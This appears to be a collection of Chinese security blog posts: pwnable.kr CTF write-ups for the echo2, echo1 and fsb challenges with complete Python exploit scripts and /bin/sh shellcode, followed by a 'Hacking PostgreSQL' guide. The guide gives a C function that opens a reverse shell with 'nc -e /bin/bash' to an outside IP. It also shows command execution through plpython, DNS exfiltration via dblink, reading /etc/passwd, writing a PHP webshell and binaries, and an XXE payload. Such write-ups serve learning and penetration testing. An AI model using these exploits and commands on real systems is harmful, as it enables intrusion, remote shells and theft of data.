Writeup: pwnable.kr "echo2"
pwnable.kr 上的 echo2 是一个存在 UAF & FSB 漏洞的题目。
通过 IDA F5 得到源码,列出几个关键函数:
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
int *v3; // rsi@1
void *v4; // rax@1
int v6; // [sp+Ch] [bp-24h]@1
_QWORD v7[4]; // [sp+10h] [bp-20h]@1
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ", 0LL);
v3 = (int *)v7;
__isoc99_scanf(4197406LL, v7);
v4 = o;
*(_QWORD *)o = v7[0];
*((_QWORD *)v4 + 1) = v7[1];
*((_QWORD *)v4 + 2) = v7[2];
id = LODWORD(v7[0]);
getchar();
func[0] = (__int64)echo1;
qword_602088 = (__int64)echo2;
qword_602090 = (__int64)echo3;
v6 = 0;
do
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ", v3);
v3 = &v6;
__isoc99_scanf(4197496LL, &v6);
getchar();
if ( (unsigned int)v6 > 3 )
break;
((void (__fastcall *)(signed __int64, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])(4197496LL, &v6);
}
if ( v6 == 4 )
break;
puts("invalid menu");
}
cleanup();
printf("Are you sure you want to exit? (y/n)", &v6);
v6 = getchar();
}
while ( v6 != 121 );
puts("bye");
return 0;
}
echo3
__int64 echo3()
{
char *s; // ST08_8@1
(*(void (__fastcall **)(void *))((void (__fastcall **)(_QWORD))o + 3))(o);
s = (char *)malloc(0x20uLL);
get_input(s, 32LL);
puts(s);
free(s);
(*(void (__fastcall **)(void *, signed __int64))((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL);
return 0LL;
}
cleanup
void cleanup()
{
free(o);
}
分析主函数流程,可知触发 UAF 的流程为:
- 选择 4,进入 cleanup 函数, free 变量 o
- 选择 n,取消退出,这时候的 o 变量已经被 free
- 选择 3,输入 0x20 个字符
- 输入的内容被分配到原来变量 o 的地址上,覆盖了 goodbye 函数的地址,触发 UAF
现在有一个任意 call 了,但是暂时并没有什么卵用。因为并不能 call 一个 system,或者做一些奇怪的事情。
然而我充满经♂验的大锐锐说可以在 name 里写 shellcode。
看这一句:
0x40099e <main+142>: mov rsi,rdx
0x4009a1 <main+145>: mov rdi,rax
=> 0x4009a4 <main+148>: mov eax,0x0
0x4009a9 <main+153>: call 0x4006a0 <__isoc99_scanf@plt>
看一下 rdi:
gdb-peda$ x/10s $rdi
0x400c1e: "%24s"
有 24 个字节的输入空间,然而好像 IDA 并没有反编译出来这个,所以被蒙蔽了/w\ .. 24 个字节足够放下 shellcode 了,由于是 scanf,不能出现 \x0a,\x0b,所以找一个符合条件的 shellcode:https://www.exploit-db.com/exploits/36858/
#include <stdio.h>
#include <string.h>
int
main(void)
{
char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
printf("strlen(shellcode)=%d\n", strlen(shellcode));
((void (*)(void))shellcode)();
return 0;
}
现在就差 leak 出 name 在栈上的地址了。
由于 echo2 函数有一个 FSB,所以可以通过 FSB 来 leak。
leak 出来的地址为 0x7ffffffffe6b0,在栈上寻找我们 name 的内容,地址为 0x7fffffffe6f0,正好为 0x40 个字节的偏移量。
gdb-peda$ x/10b 0x7fffffffe6b0 + 0x40
0x7fffffffe6f0: 'a' <repeats 14 times>
0x7fffffffe6ff: ""
0x7fffffffe700: "\360\347\377\377\377\177"
0x7fffffffe707: ""
0x7fffffffe708: ""
0x7fffffffe709: ""
0x7fffffffe70a: ""
0x7fffffffe70b: ""
0x7fffffffe70c: ""
0x7fffffffe70d: ""
所以现在我们可以执行任意代码了。
重新梳理流程:
- 输入 name 时写 shellcode
- 通过 FSB leak rsp,接着加上 0x40 字节的偏移量,到 shellcode 的地址上
- 通过 UAF,覆盖 goodbye 的地址为 shellcode 的地址
- 得到 shell,大成功(๑•̀ㅂ•́)و✧
最终 exploit 为:
import sys
import socket
from zio import *
shellcode = ""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
io = zio(('pwnable.kr', 9011), timeout=9999999)
#io = zio('./echo2' ,timeout=9999999)
io.read_until(':')
io.writeline(shellcode)
io.read_until('> ')
io.writeline('2')
io.read_until('\n')
io.writeline('%3$x')
data = io.read_until('\n')
name_addr = int('0x7fff%s' % data, 16) + 0x40
print '-' * 10, data
io.read_until('> ')
io.writeline('4')
io.read_until(')')
io.writeline('n')
io.read_until('> ')
io.writeline('3')
io.read_until('\n')
io.writeline('aaaaaaaa' + 'bbbbbbbb' + 'cccccccc' + l64(name_addr))
io.read_until('> ')
io.writeline('2')
io.read_until('\n')
io.interact()
Writeup: pwnable.kr "echo1" & "fsb"
距离上一次发这一系列的文章,已经过去三周。期间稍微了解了一下 pwn,然后开始做 pwnable.kr。
0x01
这次做的第一个题目是 [Rookiss] 栏的 echo1,是一个简单的 stack overflow,题目如下:
Pwn this echo service.
download : http://pwnable.kr/bin/echo1
Running at : nc pwnable.kr 9010
首先用 IDA F5 看一下程序:
跟入 echo1 函数:
echo1 中 get_input 函数存在一个栈溢出,简单的验证一下:
输入溢出,覆盖了返回地址。
那么利用应该也不难了,需要找一个 jmp esp
或者 call esp
的地址,即可利用成功。
在 gdb 中利用 jmpcall
来寻找:
gdb-peda$ jmpcall
0x4006ec : call rax
0x40078e : jmp rax
0x400835 : call rdx
0x400869 : call rdx
0x400a6a : call rdx
0x400b54 : call rax
0x400cb7 : call rax
0x400deb : call rdi
gdb-peda$
然而并没有_(:3」∠)_
在这里卡住了,咨询了一下锐锐老师,想利用地址泄露计算偏移地址来执行。但是由于我太渣了找不到哪里有泄露QAQ。
但是不要着急,我们来看一下 main 函数中的几个点:
int *v3; // rsi@1
void *v4; // rax@1
int v6; // [sp+Ch] [bp-24h]@1
_QWORD v7[4]; // [sp+10h] [bp-20h]@1
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ", 0LL);
v3 = (int *)v7;
__isoc99_scanf(4197310LL, v7);
v4 = o;
*(_QWORD *)o = v7[0];
*((_QWORD *)v4 + 1) = v7[1];
*((_QWORD *)v4 + 2) = v7[2];
id = LODWORD(v7[0]);
v7 是我们输入的 name,然后 id 保存着 v7(的字符串内容?)。在汇编来看的话比较直观:
mov DWORD PTR [rip+0x201724],eax
所以我们可以在 id 里面写 jmp esp
,其中 id 在 .bss 段,地址是固定的。我们直接 ret 到 id 的地址就好了。
构造 payload:
import zio
# payload/linux/x64/exec
# exec /bin/sh
shellcode = (
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8"
"\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57"
"\x48\x89\xe6\x0f\x05"
)
pad = "a" * 40
# jmp = '\xa0\x20\x60\x00\x00\x00\x00\x00'
jmp = zio.l64(0x6020a0) # id,这种写法比较高端_(:3」∠)_
io = zio.zio('./echo1')
# io = zio.zio(('pwnable.kr', 9010))
io.read_until(':')
io.writeline('\xff\xe4') # jmp esp
io.read_until('>')
io.writeline('1')
io.read_until('\n')
io.writeline(pad + jmp + shellcode)
io.read_until('\n')
io.interact()
0x02
第二个题目是 [Rookiss] 栏的 fsb,一个字符串格式化漏洞的利用。
Isn't FSB almost obsolete in computer security?
Anyway, have fun with it :)ssh fsb@pwnable.kr -p2222 (pw:guest)
登陆上去拿到源码,发现存在明显的字符串格式化漏洞:
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
字符串格式化漏洞对我这种渣渣来说大抵有两种方式解题。
- 覆盖判断的条件,使之成为 true;
- 覆盖 GOT 表,改变程序流程。
第一种方式是可以的,在程序中:
int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);
其中 key 是一个全局变量,但是验证的时候有一堆乱七八糟的东西,而且好像覆盖的话只能覆盖四个字节(读了 8 个字节),所以放弃这条路。
另外一条路就是覆盖 GOT 表了,我们看一下程序:
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
....
buf 和 buf2 都是全局变量,所以在获取输入的时候不会出现在栈里,这样我们就不能任意指定地址了。
咨询了一下锐锐老师,讲了一种高级的利用技巧:
调用函数时,会将 ebp 压栈,所以栈上我们可以得到当前的 ebp 和 esp 的差值,以及之前的 ebp 和栈顶的差值,所以我们可以:
- 覆盖 ebp 指向的地址(上一次 ebp 的地址)的内容为我们要覆盖的地址;
- 获取到上一次 ebp 指向的地址的,计算偏移,然后覆盖我们要覆盖的地址。
大体流程如下:
接着我们通过计算出上一次的 ebp 地址,来覆盖目标地址指向的内容即可。
在实际操作中,可以发现,esp 和 ebp 的差值为 0x48,得到 0x48 / 4 = 18,可以通过 18$ 来访问。
其中 ebp 指向的上一个 ebp 为 0xffffd888,这个地址是动态存在栈中,我们需要 leak 一次,计算出偏移地址。同时在栈上碰巧有当前的栈地址:
可以发现,14$ 处为当前栈的地址,距离栈顶有 0x50 个字节的偏移,且固定;18$ 为栈底,其内容为上一次的 ebp 的地址。
我们可以计算出当前 esp 的地址,然后减去上一次的 ebp 地址,即为偏移地址。
>>>> (0xffffd888 - (0xfffed7f0 - 0x50)) / 4.0
16442.0
即可以用 %16442$n 来修改我们想要覆盖的地址内容了。
通过 objdump 查看 GOT 表:
反编译 fsb 函数:
我们可以把 sleep 函数的 GOT 表地址覆盖为调用 execve 函数的地方:0x80486ab,且只需要覆盖高地址即可。
流程清楚了,编写 exp:
import zio
io = zio.zio('./fsb', timeout=9999)
io.read_until('\n')
io.writeline('a')
io.read_until('\n')
io.read_until('\n')
io.writeline('%134520840c%18$n') # 覆盖上一次的 ebp 地址为 sleep 函数的 GOT 表地址:0x0804a008
io.read_until('\n')
io.read_until('\n')
io.writeline('%14$x.%18$x') # leak 当前栈的地址以及 ebp 保存的地址
address = io.read_until('\n').strip()
esp_addr, ebp_addr = address.split('.')
esp_addr = int(esp_addr, 16) - 0x50
offset = (int(ebp_addr, 16) - esp_addr) / 4 # 计算偏移
io.read_until('\n')
io.writeline('%34475c' + '%%%d$hn' % offset) # 覆盖高地址的一个字,从 0x08048406 覆盖为 0x080486ab
address = io.read_until('\n').strip()
io.read_until('\n')
io.interact()
经过一系列的漫长打印后,得到 shell:
0x03
啊好累_(:3」∠)_
明天又要上班了..
Hacking PostgreSQL
这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法。
SQL 注入
大体上和 MySQL 差不多,有一些变量不一样。具体就不再举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet。
此外,利用 sqlmap 也是一个不错的方式。
执行命令
C
sqlmap 给出的几个 UDF 在我本地测试并不成功,所以最好的方法是自己编译一个动态链接库。
根据官方文档,我们要定义一个 PG_MODULE_MAGIC
。大概是 PostgreSQL 的安全机制,在 8.2 以后需要验证这个 magic block,不然,在加在动态链接库的时候会报错:
ERROR: incompatible library "xxx.so": missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
执行系统命令的动态链接库源码为:
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
text *exec()
{
system("nc -e /bin/bash 10.211.55.2 9999");
}
利用如下命令编译 .so 文件:
gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o /tmp/1.so
在 pgsql 里执行:
CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/1.so', 'exec' LANGUAGE C STRICT;
select exec();
监听的 9999 端口得到一个 shell:
Python
默认 PostgreSQL 不会安装 Python 的扩展,在 Ubuntu 下可以通过:
apt-get install postgresql-plpython-9.1
进行安装,除了 python 的扩展,还有 sh、perl、ruby 等等。
安装完成后,首先是创建一个 UDF 来执行我们要执行的命令:
CREATE FUNCTION system (a text)
RETURNS text
AS $$
import os
return os.popen(a).read()
$$ LANGUAGE plpython2u;
其中的 plpython2u 可以利用如下语句获取:
select * from pg_language;
我们可以根据返回来判断利用哪个语言(plpython2u、plpythonu、plpython3u 等等)。
创建好 UDF 后,直接调用如下语句即可:
select system('ls -la');
此外,sh、ruby 等同理,可以参考官方文档来写一个 UDF。
文档地址:http://www.postgresql.org/docs/8.2/static/server-programming.html
DNS 请求获取数据
同样的,PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。用到的一个扩展叫做 dblink
,可以通过如下命令开启:
CREATE EXTENSION dblink
接着运行如下语句,获取当前数据库用户名称:
SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
远程获取到请求内容:
读写文件
读
PostgreSQL 读取文件虽然有些蛋疼,但是还是可以读取的:
CREATE TABLE temptable(t text);
COPY temptable FROM '/etc/passwd';
SELECT * FROM temptable limit 1 offset 0;
读取结束后:
DROP TABLE temptable;
写
写文件分为两个部分,一个是写 webshell,另外一个是写二进制文件。
写 webshell 十分简单,利用:
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
即可写一个文件。
根据疯狗的这一篇帖子:http://zone.wooyun.org/content/4971,说是可以利用 PostgreSQL 的“大对象数据”来写,但是我测试是失败的。报错如下:
ERROR: pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378
用 COPY 语句,format 为 binary 的情况下来写文件的话,会被 PostgreSQL 加上几个字节,导致不能识别为 ELF 文件。
实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段:
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);
其中每一段都要小于等于 2KB,这样就可以成功写入:
XXE
老版本的 PostgreSQL 存在 XXE 漏洞。具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day。
大体就是执行语句:
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');
可以获取一些数据,也可以进行 SSRF 等。不过因为年代很久,可能很多都修复过了,所以作为一个保留方案,可能会有意外的惊喜。
参考
- PostgreSQL SQL Injection Cheat Sheet
- 关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法)
- PostgreSQL 9.0 Documentation
- PostgreSQL (all) error-based XXE 0day
最后,如有错误请不吝赐教。